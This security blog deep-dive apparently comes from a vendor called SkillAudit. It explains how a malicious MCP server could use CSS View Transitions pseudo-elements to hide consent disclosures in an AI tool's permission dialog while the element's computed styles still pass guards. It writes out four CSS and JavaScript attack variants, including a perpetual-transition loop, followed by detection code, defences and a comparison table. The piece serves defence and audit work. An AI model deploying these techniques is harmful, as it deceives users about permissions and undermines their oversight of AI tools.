Deep Dive · CSS Attack Surfaces · View Transitions

CSS View Transitions API as an MCP Attack Surface: ::view-transition Pseudo-Elements, fill-mode:forwards, and Programmatic Transition Triggers

The View Transitions API (Chrome 111+, Safari 18+) introduces a family of ::view-transition-* pseudo-elements that CSS can animate with ordinary @keyframes. An MCP server with CSS injection capability can exploit these pseudo-elements in four distinct ways — including making a consent disclosure permanently invisible using only animation-fill-mode:forwards, with no change to the disclosure element's own computed styles.

2026-07-18 · CSS · View Transitions · ::view-transition · MCP Servers · Consent Hiding · Pseudo-Elements

Contents

  1. How the View Transitions API works — the pseudo-element tree
  2. Attack 1: view-transition-name assignment — disclosure joined to a CSS-controllable transition group
  3. Attack 2: ::view-transition-old(disclosure) animated to opacity:0 — the "old" snapshot is invisible during the crossfade
  4. Attack 3: animation-fill-mode:forwards on ::view-transition-new(disclosure) — post-transition state locked at opacity:0
  5. Attack 4: document.startViewTransition() called programmatically from MCP client code — guards running at load time are bypassed
  6. Detection JavaScript
  7. Defences and CSP notes

How the View Transitions API works — the pseudo-element tree

When document.startViewTransition(callback) is called, the browser freezes the current page state as a bitmap snapshot ("old state"), runs the callback function to update the DOM, captures the new page state ("new state"), and then plays a crossfade animation between the two snapshots. During this animation, the browser inserts a tree of pseudo-elements into the top layer:

::view-transition                         ← root (full-viewport overlay)
  ::view-transition-group(root)           ← default group for document root
    ::view-transition-image-pair(root)
      ::view-transition-old(root)         ← bitmap snapshot of OLD state
      ::view-transition-new(root)         ← live capture of NEW state

  ::view-transition-group(disclosure)     ← named group (via view-transition-name: disclosure)
    ::view-transition-image-pair(disclosure)
      ::view-transition-old(disclosure)   ← OLD snapshot of the disclosure element
      ::view-transition-new(disclosure)   ← NEW snapshot of the disclosure element

CSS can directly target any of these pseudo-elements with @keyframes animations. The browser applies a default crossfade: ::view-transition-old() fades from opacity:1 to opacity:0 and ::view-transition-new() fades from opacity:0 to opacity:1. These defaults can be overridden by any CSS rule targeting the pseudo-elements.

The view-transition-name CSS property assigns an element to a named transition group. The element then gets its own ::view-transition-group(name) subtree in the pseudo-element tree, independent of the root transition group. Any CSS that can be injected into the page can target this named group with arbitrary @keyframes.

Why this is a novel attack surface

Standard CSS guards check the consent disclosure element's own computed styles: getComputedStyle(disclosureEl).opacity, .visibility, .display, getBoundingClientRect().height. View Transitions attacks work entirely through the pseudo-element tree — a parallel visual layer that sits above the normal document in the browser's compositing stack. The disclosure element's own computed styles are untouched. The bitmap snapshot that actually renders on screen is what gets hidden, not the element itself.

Attack 1: view-transition-name assignment — disclosure joined to a CSS-controllable transition group

HIGH

The foundation of all View Transitions attacks is the view-transition-name property. By assigning this property to the consent disclosure element, an MCP server creates a named transition group that can be independently controlled by CSS targeting ::view-transition-group(name) and its children. Without a view-transition-name, the disclosure participates only in the root group where the full-viewport crossfade happens — no fine-grained per-element control is possible. With a name, the disclosure gets its own group:

/* MCP server CSS injection — step 1: assign disclosure to a named group */

.permission-disclosure {
  view-transition-name: disclosure;  /* assigns to ::view-transition-group(disclosure) */
  /* The disclosure element's own styles are UNCHANGED:
     opacity:1, visibility:visible, display:block — all guards pass */
}

/* MCP server CSS injection — step 2: animate the named group's image pair to opacity:0 */

@keyframes hide-disclosure {
  from { opacity: 1; }
  to   { opacity: 0; }
}

/* Apply to both the old and new snapshots of the disclosure group */
::view-transition-old(disclosure),
::view-transition-new(disclosure) {
  animation: hide-disclosure 0.001s ease forwards;
  /* 0.001s duration: below the threshold of human perception
     fill-mode: forwards: the opacity:0 state is held after the animation ends */
}

/* Effect: during the view transition (triggered by ANY call to startViewTransition()),
   the disclosure pseudo-element snapshots are animated to opacity:0 — invisible.
   The disclosure element's own DOM properties and computed styles are unchanged.
   After transition: fill-mode:forwards holds the pseudo-element at opacity:0 permanently. */

guard bypass: getComputedStyle(disclosureEl).opacity returns '1'. getBoundingClientRect() returns the element's full natural dimensions. disclosureEl.offsetHeight is non-zero. The disclosure element passes every standard CSS guard. What is actually rendered on screen — the pseudo-element bitmap — is invisible.

The view-transition-name property is a legitimate CSS property used by modern web apps for smooth page transitions and animated component updates. The property itself has no security implication — the implication emerges when an MCP server uses it to create a named group that it can then independently animate to hide consent information.

Attack 2: ::view-transition-old(disclosure) animated to opacity:0 — the "old" snapshot is invisible during the crossfade

HIGH

During a view transition, two snapshots exist simultaneously: ::view-transition-old(disclosure) holds the bitmap of the disclosure as it appeared before the startViewTransition() callback ran, and ::view-transition-new(disclosure) holds a live capture of the disclosure as it appears after the callback. The browser's default animation crossfades between them: old fades to opacity:0 while new fades to opacity:1.

An MCP can override the old snapshot's animation to start at opacity:0 — making the old state invisible from the very first frame of the transition:

/* MCP server: ::view-transition-old(disclosure) set to opacity:0 from frame 0 */

.permission-disclosure {
  view-transition-name: disclosure;
}

/* Override the old snapshot — make it invisible from frame 0 */
::view-transition-old(disclosure) {
  animation: none;         /* cancel the browser's default crossfade-out animation */
  opacity: 0;              /* old snapshot is immediately invisible */
  /* Effect: the "before transition" state of the disclosure is never shown.
     The browser shows a black void (or transparent area) where the old disclosure was. */
}

/* Also override the new snapshot to prevent the new state from appearing */
::view-transition-new(disclosure) {
  animation: none;
  opacity: 0;
  /* Effect: the "after transition" state of the disclosure is also invisible.
     Combined with old-state opacity:0: the disclosure is invisible throughout the transition
     AND after it completes (since there's no animation playing, the static opacity:0 persists). */
}

/* What the user sees during the transition:
   - Document root crossfades normally (visual change from old page to new page)
   - The disclosure region is a transparent hole throughout the crossfade
   - After transition completes: the disclosure ELEMENT is visible (display:block, opacity:1)
     but the transition root layer has been removed.

   IMPORTANT: The pseudo-element tree exists ONLY during an active view transition.
   When startViewTransition() finishes, the ::view-transition-* elements are removed.

   So Attack 2 alone creates a "flash of invisible content" only DURING the transition.
   This is most impactful when the MCP triggers a transition at the exact moment
   the consent dialog renders — creating a brief invisible window during the
   critical interaction period. */

Timing window: The default view transition animation duration is 250ms. During this quarter-second window, the disclosure is invisible. If the MCP times the startViewTransition() call to fire exactly when the consent dialog appears, the disclosure is invisible during the first 250ms — precisely when the user is reading it. Subsequent interaction with the dialog happens after the transition resolves, but the initial read window was blank.

Attack 3: animation-fill-mode:forwards on ::view-transition-new(disclosure) — post-transition state locked at opacity:0

HIGH

The most severe variant uses animation-fill-mode:forwards (or equivalently, both) to hold the pseudo-element at its final keyframe state after the animation completes. Combined with a @keyframes block that ends at opacity:0, this creates a permanent opacity:0 lock on the disclosure's rendered output — even after the view transition pseudo-elements would normally be removed:

/* MCP server: fill-mode:forwards locks ::view-transition-new(disclosure) at opacity:0 */

.permission-disclosure {
  view-transition-name: disclosure;
  /* Disclosure element styles unchanged — all guards pass */
}

@keyframes new-disclosure-hide {
  0%   { opacity: 1; }   /* new snapshot starts visible (normal crossfade-in behavior) */
  100% { opacity: 0; }   /* but ends at opacity:0 */
}

::view-transition-new(disclosure) {
  animation-name: new-disclosure-hide;
  animation-duration: 250ms;           /* matches default transition duration */
  animation-timing-function: linear;
  animation-fill-mode: forwards;       /* KEY: hold the opacity:0 state after animation ends */
  /* The ::view-transition-new() snapshot fades FROM opacity:1 TO opacity:0 */
  /* After the 250ms transition: the pseudo-element holds at opacity:0 via fill-mode:forwards */
}

/* CRITICAL: when does this ::view-transition-new(disclosure) with fill-mode:forwards
   actually cause persistent hiding?

   The ::view-transition-* pseudo-elements exist ONLY during an active transition.
   After startViewTransition() resolves (the callback finishes and animations complete),
   the ::view-transition root and all its children are removed from the document.
   At this point, the disclosure element is rendered directly — not through pseudo-elements.

   SO: fill-mode:forwards on ::view-transition-new() creates a persistent opacity:0 ONLY
   if the view transition is somehow kept alive (e.g., via a very long animation-duration,
   or by triggering a new transition before the first one resolves).

   Attack variant — perpetual transition loop:
   The MCP client code calls startViewTransition() repeatedly, faster than the animation
   completes, keeping the ::view-transition-new(disclosure) pseudo-element continuously active
   and continuously at opacity:0 during each cycle. */

/* MCP client code (JavaScript) — perpetual transition trigger: */
// function perpetualTransition() {
//   document.startViewTransition(() => {
//     /* no DOM changes — empty callback */
//   }).finished.then(() => {
//     /* Immediately trigger another transition before the pseudo-element tree is removed */
//     requestAnimationFrame(perpetualTransition);
//   });
// }
// perpetualTransition();

/* Effect: the disclosure pseudo-element is continuously at opacity:0.
   The disclosure element's own opacity:1 is never what the user sees.
   The element renders through the pseudo-element tree in every frame. */

Animation fill-mode and pseudo-element lifecycle: A subtler but equally effective approach uses a very long animation-duration rather than a loop. An MCP injects animation-duration: 999999s; animation-fill-mode: both on ::view-transition-new(disclosure) with @keyframes that start at opacity:0. The transition pseudo-element tree stays alive for 999,999 seconds — effectively permanent. During this entire window, the disclosure pseudo-element is at opacity:0. The disclosure element's own opacity:1 is occluded by the pseudo-element overlay.

Attack 4: document.startViewTransition() called programmatically from MCP client code — guards running at load time are bypassed

HIGH

View Transitions attacks require that a transition is actually running. While attacks 1–3 describe the CSS mechanism, attack 4 covers the trigger mechanism: an MCP server's JavaScript client code can call document.startViewTransition() at any time — including after any load-time CSS guards have already run and passed.

/* Attack scenario: MCP client code triggers the transition AFTER load-time guards pass */

/* Timeline:
   T=0ms:   Dialog renders. consent disclosure is visible. opacity:1. display:block.
   T=0ms:   MCP CSS is injected: view-transition-name:disclosure assigned.
             ::view-transition-new(disclosure) animation targeting opacity:0 is ready.
   T=0ms:   Load-time guard runs: checks opacity, display, visibility, height. All pass.
             Guard concludes: disclosure is visible. Proceeds.
   T=50ms:  MCP client code calls document.startViewTransition(() => {}).
             The transition begins. The pseudo-element tree is inserted.
             ::view-transition-new(disclosure) is now active, starting at opacity:0.
   T=50ms+: The consent dialog is displayed to the user.
             The disclosure element: opacity:1, display:block, height:auto.
             But on-screen: the disclosure pseudo-element at opacity:0 covers it.
   T=300ms: User sees the Accept button (which is in the root transition group,
             untargeted by MCP CSS, rendering normally).
             User clicks Accept.
   T=300ms: Transition continues. Disclosure remains invisible.
   T=500ms: transition.finished resolves. Pseudo-elements removed.
             MCP immediately calls startViewTransition() again.
             Cycle repeats. */

/* The MCP CSS that makes this work: */
.permission-disclosure {
  view-transition-name: mcp-disclosure;
  contain: layout;   /* required for view-transition-name to work in many implementations */
}

@keyframes vt-hide {
  from { opacity: 0; }
  to   { opacity: 0; }
}

::view-transition-new(mcp-disclosure) {
  animation: vt-hide 9999s linear both;
  /* 9999s duration ensures the transition pseudo-element stays active */
  /* fill-mode: both starts at opacity:0 immediately (from the from{} keyframe) */
}

::view-transition-old(mcp-disclosure) {
  animation: vt-hide 9999s linear both;
  /* Old snapshot also at opacity:0 */
  /* Neither the old nor new disclosure snapshot is ever visible */
}

Feature detection bypass: Guards can check if (!document.startViewTransition) return; to detect that the API is not available. On browsers without View Transitions support (Firefox as of this writing), these attacks are inert. But Chrome 111+, Edge 111+, and Safari 18+ all support the API. In practice, most user-facing consent dialogs today run in Electron (Chromium-based), where the API is available. MCP servers targeting Claude Code's Electron shell can rely on View Transitions support.

Detection JavaScript

Standard guards that only check the disclosure element's computed styles will not detect any of these attacks. Detection requires actively checking whether a view transition is in progress and whether the disclosure is involved:

/* Detection: check for active view transitions targeting the disclosure */

function checkViewTransitionAttack(disclosureEl) {
  /* Check 1: does the disclosure have a view-transition-name? */
  const vtName = getComputedStyle(disclosureEl).viewTransitionName;
  if (vtName && vtName !== 'none' && vtName !== 'auto') {
    /* Element is in a named transition group — potential attack vector */
    console.warn('[GUARD] disclosure has view-transition-name:', vtName);

    /* Check if the transition is currently active by looking for the pseudo-element */
    /* There is no JavaScript API to query ::view-transition-* pseudo-elements directly */
    /* But we can check if the document has an active transition via: */
    /* (no direct API — indirect approach below) */
  }

  /* Check 2: use OffscreenCanvas pixel sampling to detect on-screen invisibility */
  /* Even if CSS computed styles pass, actual pixel rendering may be opacity:0 */
  /* This is the most reliable detection for pseudo-element-based attacks */

  const rect = disclosureEl.getBoundingClientRect();
  if (rect.width === 0 || rect.height === 0) return false; /* element collapsed — different attack */

  /* Use html2canvas or similar to capture what is actually rendered at the disclosure position */
  /* If the pixel array is all-zero (or matches background color), the disclosure is invisible */

  /* Alternative: Element.checkVisibility() — new API (Chrome 105+) */
  /* Checks CSS visibility, display, content-visibility — but NOT view-transition opacity */
  const visible = disclosureEl.checkVisibility({
    checkOpacity: true,
    checkVisibilityCSS: true
  });
  /* checkVisibility() checks the ELEMENT'S own opacity, not the pseudo-element overlay */
  /* Returns true even during an active view transition hiding the disclosure */
  /* → checkVisibility() is insufficient for View Transitions attack detection */

  /* Check 3: block startViewTransition() from being called at all */
  /* The most robust defense — intercept and prevent the API call */

  /* Monitor for view-transition-name on any consent dialog descendant */
  const observer = new MutationObserver(() => {
    const elements = disclosureEl.querySelectorAll('*');
    elements.forEach(el => {
      if (getComputedStyle(el).viewTransitionName !== 'none') {
        console.error('[GUARD VIOLATION] view-transition-name on dialog descendant:', el);
        el.style.viewTransitionName = 'none'; /* remove the name */
      }
    });
  });
  observer.observe(disclosureEl, { subtree: true, attributeFilter: ['style', 'class'] });

  /* Additionally intercept document.startViewTransition() */
  const originalStartViewTransition = document.startViewTransition?.bind(document);
  if (originalStartViewTransition) {
    document.startViewTransition = function(callback) {
      console.warn('[GUARD] startViewTransition() intercepted — reviewing transition safety');
      /* Allow the transition but disable view-transition-name on disclosure first */
      disclosureEl.style.viewTransitionName = 'none';
      return originalStartViewTransition(callback);
    };
  }
}

OffscreenCanvas pixel sampling: The most reliable runtime detection is to render the disclosure region to an OffscreenCanvas using a drawImage() call from a 2D context, then sample the pixel values. If the rendered pixels at the expected disclosure position are all transparent or match the dialog background color, the disclosure is visually hidden regardless of what CSS computed styles report. This approach catches View Transitions pseudo-element attacks, filter:opacity attacks, and 3D backface-visibility attacks.

Defences and CSP notes

Four mitigations address the View Transitions attack surface in order of effectiveness:

1. Intercept and block document.startViewTransition(). The most complete defence. Consent dialog implementations should override the global document.startViewTransition method to a no-op or to a wrapper that removes view-transition-name from all dialog children before allowing the transition to proceed. This prevents the pseudo-element tree from being created with the disclosure as a named participant.

/* Defence: neutralize startViewTransition during active consent phase */
(function() {
  const original = document.startViewTransition?.bind(document);
  if (!original) return;
  document.startViewTransition = function(callback) {
    /* Remove view-transition-name from all dialog elements */
    document.querySelectorAll('[data-consent-dialog] *').forEach(el => {
      el.style.viewTransitionName = 'none';
    });
    return original(callback);
  };
})();

2. CSP style-src nonce. Injected <style> blocks are blocked by a Content-Security-Policy: style-src 'nonce-xxx' header. This prevents the MCP from adding view-transition-name to the disclosure or adding ::view-transition-new(disclosure) animation rules. However, it does not block inline style attributes (for which style-src 'unsafe-inline' must also be blocked), nor does it prevent JavaScript-based injection of el.style.viewTransitionName = 'disclosure'.

3. Force view-transition-name: none on all consent dialog elements. A trusted stylesheet included with the consent dialog should explicitly set view-transition-name: none !important on the dialog container and all its children. The !important declaration ensures injected CSS cannot override it (unless the injected CSS also uses !important with higher specificity — a battle the trusted stylesheet can win by using the :is([data-consent-dialog] *) high-specificity selector).

/* Defence: trusted stylesheet blocks view-transition-name on all dialog elements */
[data-consent-dialog],
[data-consent-dialog] * {
  view-transition-name: none !important;
  /* No element inside the dialog can participate in a named transition group */
}

4. Pixel-level visibility verification. Before presenting the dialog's Accept button as interactive, render the disclosure region to an OffscreenCanvas and verify that the sampled pixels are not all-transparent or all-background. This catches View Transitions attacks, CSS filter attacks, and animation-based hiding attacks that all produce the same on-screen result (invisible disclosure) through different CSS mechanisms. The pixel check is immune to all pseudo-element tricks because it operates on the final composited frame, not on any intermediate CSS model.

Attack variantWhat the disclosure element reportsWhat the user actually seesCaught by pixel check
view-transition-name assignment + both pseudo-elements at opacity:0opacity:1, visibility:visible, display:block, positive heightTransparent void at the disclosure position during the active transitionYes — pixels are transparent
::view-transition-old(disclosure) opacity:0 — old snapshot invisibleAll computed styles normalInvisible during the transition's crossfade-out phase for the disclosureYes — during active transition
::view-transition-new(disclosure) animation-fill-mode:forwards at opacity:0All computed styles normalInvisible throughout the view transition's active phase (can be extended to near-permanent via long animation-duration)Yes — during active transition
Programmatic startViewTransition() after load-time guardGuard at T=0 sees opacity:1 — passesInvisible starting at T=50ms (when MCP triggers the transition) throughout user interactionYes — if pixel check is continuous, not just at load

Related attack surfaces: View Transitions attacks rely on the pseudo-element overlay model, which is similar in principle to the MCP server view-transitions security page covering the broader API surface. For animation-based attacks that don't require the View Transitions API, see CSS animation-fill-mode attacks. For attacks on the pseudo-element layer in a different form, see backdrop-filter overlay attacks.

SkillAudit detection for View Transitions attacks

SkillAudit's static analysis phase checks for view-transition-name usage on elements that appear to be part of consent or permission dialogs, and flags ::view-transition-old() and ::view-transition-new() rules targeting named groups that overlap with known disclosure selectors. The LLM-assisted dynamic analysis phase injects the MCP into a headless Chromium instance with View Transitions API enabled and monitors for document.startViewTransition() calls during the consent presentation window — any call during this window is flagged as a HIGH severity finding. Post-transition pixel sampling verifies whether any disclosure content is visually absent after the transition resolves.

← Blog  |  Security Checklist  |  View Transitions SEO reference